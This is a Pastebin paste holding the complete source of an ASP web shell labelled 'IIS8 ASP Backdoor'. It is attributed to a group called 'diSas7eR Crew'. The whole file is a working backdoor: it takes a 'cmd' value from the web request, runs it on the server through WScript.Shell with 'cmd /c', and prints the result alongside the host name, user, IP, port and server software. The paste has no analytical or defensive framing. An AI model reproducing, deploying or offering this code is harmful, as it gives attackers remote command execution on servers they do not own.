Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <%
- Set oScript = Server.CreateObject("WSCRIPT.SHELL")
- Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
- Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
- Function getCommandOutput(theCommand)
- Dim objShell, objCmdExec
- Set objShell = CreateObject("WScript.Shell")
- Set objCmdExec = objshell.exec(thecommand)
- getCommandOutput = objCmdExec.StdOut.ReadAll
- end Function
- %>
- <HTML>
- <title>IIS8 ASP Backdoor</title>
- <BODY>
- <p>
- <b>diSas7eR Crew - IIS8 Server ASP Shell Backdoor</b>
- </p>
- <FORM action="" method="GET">
- <input type="text" name="cmd" size=45 value="<%= szCMD %>">
- <input type="submit" value="Run">
- </FORM>
- <PRE>
- <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
- <%Response.Write(Request.ServerVariables("server_name"))%>
- <p>
- <b>SERVER PORT :</b>
- <%Response.Write(Request.ServerVariables("server_port"))%>
- <b>SERVER SOFTWARE :</b>
- <%Response.Write(Request.ServerVariables("server_software"))%>
- <b>SERVER IP :</b>
- <%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
- <% szCMD = request("cmd")
- thisDir = getCommandOutput("cmd /c" & szCMD)
- Response.Write(thisDir)%>
- </p>
- <br>
- <b>Powered by Maceo 25/06/2003<br>
- Modified by Mr.7z 01/01/2019</b>
- </BODY>
- </HTML>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement